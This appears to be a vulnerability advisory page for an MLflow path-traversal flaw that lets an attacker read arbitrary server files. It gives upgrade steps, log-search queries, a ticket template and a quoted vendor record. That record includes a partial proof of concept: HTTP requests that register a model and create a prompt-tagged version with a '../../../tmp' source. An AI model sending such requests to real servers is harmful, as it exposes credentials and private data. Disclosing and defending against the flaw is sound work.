MLflow can read files outside its data folder via model version prompts
What this means
An attacker with network access to an MLflow server can read any file the server process can access, such as configuration files, secrets, or authentication databases. On servers with basic authentication, even low-privilege users can do this. This could expose sensitive data like API keys, passwords, or model training information.
SecurityElites Manager Brief: the decision in one minute
MLflow tracking servers allow attackers to read arbitrary files by uploading a model version tagged as a prompt with a specially crafted path. This affects the default setup (no authentication) and servers with basic authentication. You must upgrade to MLflow 3.17.0 or later.
| SecurityElites Fix-First Score | 43 of 100 Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity. |
|---|---|
| SecurityElites fix window | Within 30 days High severity. This is our suggestion from common practice; your own policy comes first. |
| Who should own the fix | Platform or infrastructure team running MLflow servers. |
| Likely effort | About 30 minutes per MLflow deployment: check the version, upgrade the package, and restart the server. Longer if you need to audit logs for exploitation attempts or if you run MLflow in containers that need rebuilding. |
Questions to ask your team or supplier
- Do you know which MLflow servers are running versions 3.10.0 to 3.16.1, and are they exposed to the internet or to untrusted networks?
- Have you reviewed the logs of your MLflow servers for suspicious model version creation requests or artifact access attempts that could indicate past exploitation?
- If you run MLflow with basic authentication, have you audited which user accounts exist and what files they could access on the server?
Message you can forward to the owning team
Security notice: MLflow can read files outside its data folder via model version prompts (CVE-2026-116690)
Severity: High
SecurityElites Fix-First Score: 43 of 100
SecurityElites fix window: Within 30 days
Action: upgrade to mlflow 3.17.0 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2026-116690-mlflow-can-read-files-outside-its-data-folder-via/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-00709What is at stake in your AI setup
- Model files: An attacker can read trained model weights and architecture from the server filesystem.
- Prompts and chat history: If you store prompts or conversation logs as model version artifacts, they can be read by an attacker.
- Keys for AI providers: API keys or credentials stored in MLflow runs or as environment variables accessible to the server process can be exposed.
- Training or retrieval data: Datasets used to train models or retrieved during inference can be accessed if stored on the server.
Who is exposed
- MLflow tracking servers running version 3.10.0 to 3.16.1 without authentication (the default setup).
- MLflow servers with basic authentication enabled, if any non-admin user has an account.
- Any system or data the MLflow server process can read on its host, including OS files and databases.
- Teams that do not run MLflow are not affected.
Upgrades you need
| Software | Affected versions | Move to |
|---|---|---|
| mlflow PyPI | 3.10.0 up to, but not including, 3.17.0 | 3.17.0 or later |
Am I affected?
Enter the version you run. Nothing you type is stored.
SecurityElites Developer Brief: the technical picture
| Is it being attacked | No known attacks and no public attack code when CISA last reviewed it |
|---|---|
| Can attackers automate it at scale | Yes, according to CISA |
| How much control an attacker gains | Partial control, according to CISA |
Read from the official severity rating
Kind of coding mistake
- CWE-22: file paths can escape the allowed folder
If you cannot upgrade today
- Until you can upgrade, restrict network access to the MLflow server to trusted users and networks only. Use a firewall or network policy to block external traffic.
- If basic authentication is not enabled, enable it immediately with `--app-name basic-auth` to restrict access to users with accounts.
- Monitor the server logs for suspicious create_model_version and artifact requests as described in the detect section.
Signs it may already have been used against you
- In MLflow server logs, look for create_model_version API calls where the source field contains relative paths (../, ./), schemeless paths, or Windows drive letters (C:, D:).
- Search for create_model_version requests with the mlflow.prompt.is_prompt tag present, especially if the value is false or if the source looks like a path.
- Check the get_model_version_artifact or model-versions/get-artifact endpoint logs for requests that accessed files outside the expected model artifacts directory, such as /etc, /home, or Windows system directories.
- Review authentication logs (if basic auth is enabled) for low-privilege accounts creating model versions followed by artifact requests.
Log searches to start from
Create model version requests with schemeless or relative paths (adapt field names to your logs)Splunk
source=mlflow_server action=create_model_version (source LIKE "../" OR source LIKE "./" OR source LIKE "/etc" OR (source NOT LIKE "file://" AND source NOT LIKE "http" AND source NOT LIKE "s3://")) | table timestamp, user, model_name, sourceGet artifact requests for files outside model directories (adapt field names to your logs)Elastic
action:get_model_version_artifact AND (artifact_path:/etc* OR artifact_path:/home* OR artifact_path:../)Written with AI as a starting point. Review them and change the index and field names to match your own logs before you rely on the result.
SecurityElites Fix Guide: step by step
- Find all MLflow servers in your environmentSearch for running processes named mlflow or check container registries and cloud deployments for MLflow images. Document the version and authentication settings of each one.
- Check the current version of each MLflow installationRun `python -c "import mlflow; print(mlflow.__version__)"` on each host, or check the pip freeze output if MLflow is installed in a virtual environment.
- Assess which servers are exposedCheck whether each server runs with authentication enabled (look for --app-name basic-auth or other auth config). Servers without auth or with basic auth are at highest risk.
- Back up the MLflow backend dataIf the server uses a database or local storage, create a full backup before upgrading. This protects you if the upgrade encounters issues.
- Upgrade MLflow to version 3.17.0 or laterUse the package manager for your environment: `pip install --upgrade mlflow>=3.17.0` for PyPI installations. If you use containers, rebuild the image with the new version and redeploy.
- Restart the MLflow serverStop the running server and start it again with the same configuration. Verify that it starts without errors and that the version output confirms the upgrade.
- Verify the fix is in placeRun `python -c "import mlflow; print(mlflow.__version__)"` again and confirm it shows 3.17.0 or later. Try accessing the server and confirm it responds normally.
- Review logs for signs of past exploitationCheck server logs and audit trails for model version creation requests with paths like `../../`, relative paths without schemes, or Windows drive letters. Look for requests to the get-artifact endpoint that accessed sensitive files.
How to confirm it is fixed: Confirm that all MLflow servers report version 3.17.0 or later when you run `python -c "import mlflow; print(mlflow.__version__)"`, and test that the server rejects create_model_version requests with relative or schemeless paths in the source field for prompt-
SecurityElites Quick Fixes: copy and paste
Upgrade mlflow with pipupgrade
pip install --upgrade "mlflow>=3.17.0"
pip show mlflow | grep VersionPin it in requirements.txtupgrade
mlflow>=3.17.0Check installed MLflow versionfor this issue
python -c "import mlflow; print(mlflow.__version__)"Keep file access inside one directory (Python)general hardening
from pathlib import Path
BASE = Path("/srv/app/data").resolve()
def safe_path(name: str) -> Path:
p = (BASE / name).resolve()
if not p.is_relative_to(BASE):
raise ValueError("path outside allowed directory")
return pTest in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.
Let your AI coding assistant do the upgrade
Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.
Instruction for your coding assistant
You are helping me fix a security vulnerability (CVE-2026-116690) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n - mlflow (PyPI): must be 3.17.0 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.SecurityElites Incident Drill: could your team handle this?
Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.
Ticket for your backlog
Paste into Jira, GitHub Issues or any tracker that reads Markdown.
Ready-made ticket
## MLflow can read files outside its data folder via model version prompts (CVE-2026-116690)
**Severity:** High | **SE Fix-First Score:** 43/100 | **Fix window:** Within 30 days
**Record:** SE-AIV-00709 https://securityelites.com/ai-vulnerabilities/cve-2026-116690-mlflow-can-read-files-outside-its-data-folder-via/
### Why this matters
An attacker with network access to an MLflow server can read any file the server process can access, such as configuration files, secrets, or authentication databases. On servers with basic authentication, even low-privilege users can do this. This could expose sensitive data like API keys, passwords, or model training information.
### What to do
1. Find all MLflow servers in your environment: Search for running processes named mlflow or check container registries and cloud deployments for MLflow images. Document the version and authentication settings of each one.
2. Check the current version of each MLflow installation: Run `python -c "import mlflow; print(mlflow.__version__)"` on each host, or check the pip freeze output if MLflow is installed in a virtual environment.
3. Assess which servers are exposed: Check whether each server runs with authentication enabled (look for --app-name basic-auth or other auth config). Servers without auth or with basic auth are at highest risk.
4. Back up the MLflow backend data: If the server uses a database or local storage, create a full backup before upgrading. This protects you if the upgrade encounters issues.
5. Upgrade MLflow to version 3.17.0 or later: Use the package manager for your environment: `pip install --upgrade mlflow>=3.17.0` for PyPI installations. If you use containers, rebuild the image with the new version and redeploy.
6. Restart the MLflow server: Stop the running server and start it again with the same configuration. Verify that it starts without errors and that the version output confirms the upgrade.
7. Verify the fix is in place: Run `python -c "import mlflow; print(mlflow.__version__)"` again and confirm it shows 3.17.0 or later. Try accessing the server and confirm it responds normally.
8. Review logs for signs of past exploitation: Check server logs and audit trails for model version creation requests with paths like `../../`, relative paths without schemes, or Windows drive letters. Look for requests to the get-artifact endpoint that accessed sensitive files.
### Done when
- [ ] mlflow is at 3.17.0 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Confirm that all MLflow servers report version 3.17.0 or later when you run `python -c "import mlflow; print(mlflow.__version__)"`, and test that the server rejects create_model_version requests with relative or schemeless paths in the source field for prompt-
- [ ] Logs were checked for signs of earlier use
SecurityElites Fix Tracker
Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.
Related vulnerabilities
In the same software
- MLflow can run attacker code during scorer deserialization Critical · CVE-2026-116692
- MLflow can write files outside trace directory via crafted trace ID High · CVE-2026-53995
- MLflow statsmodels flavor bypasses pickle deserialization security control High · GHSA-gqvg-gmmx-x4hm
The same kind of mistake in other AI tools
- LiteLLM proxy can be made to read files by authenticated users High · GHSA-g5ff-637f-6q2m
Change history
- 27 Oct 2026: Made public
- 1 Dec 2026: Published
Official record
### Summary On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the `CreateModelVersion` handler that rejects `file://` URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as `../../etc`, a plain relative name, `.`, a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the `model-versions/get-artifact endpoint` later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the `mlflow.prompt.is_prompt` tag rather than its value, so a false value still selected the weaker branch.Servers using `--app-name basic-auth` are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by [mlflow/mlflow#25870](https://github.com/mlflow/mlflow/pull/25870), which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be `true`.### Details When creating a model version with the `mlflow.prompt.is_prompt` tag set to true, the request is handled by the prompt branch in `_create_model_version()`.`mlflow/server/handlers.py:2674-2690`: ```python is_prompt = _is_prompt_request(request_message) if is_prompt: source = request_message.source parsed = urllib.parse.urlparse(source) if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")): raise MlflowException(...) if parsed.scheme: _validate_non_local_source_contains_relative_paths(source) else: if request_message.model_id: _validate_source_model(request_message.source, request_message.model_id) else: _validate_source_run(request_message.source, request_message.run_id) ``` The prompt branch does not call `_validate_source_run()`, `_validate_source_model()`, or `_validate_non_local_source_contains_relative_paths()` for schemeless relative paths.The artifact-read sink later trusts the stored source:`mlflow/server/handlers.py:2765-2782`: ```python def get_model_version_artifact_handler(): name = request.args.get("name") version = request.args.get("version") path = request.args["path"] path = validate_path_is_safe(path) artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version) ... else: artifact_repo = get_artifact_repository(artifact_uri) artifact_path = pathreturn _send_artifact(artifact_repo, artifact_path) ``` `_send_artifact()` calls `artifact_repository.download_artifacts(path)` and serves the resulting local file with `send_file()`.### PoC Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.1. Create a sentinel file on the server: ```bash printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt ```2. Send the following requests to the MLflow server to exploit the traversal:First, create a registered model: ```http POST /api/2.0/mlflow/registered-models/create HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json{"name": "pwned-model"} ```Next, create a prompt-tagged model version with the malicious relative source `../../../tmp`: ```http POST /api/2.0/mlflow/model-versions/create HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json{ "name": "pwned-model", "source": "../../../tmp", "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}] } ```Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the `path` parameter:
Weakness type: CWE-22
Use this record in your own tools
Get this record as JSON
curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2026-116690For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker
The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 17 Nov 2026. Read the vendor advisory before changing a production system.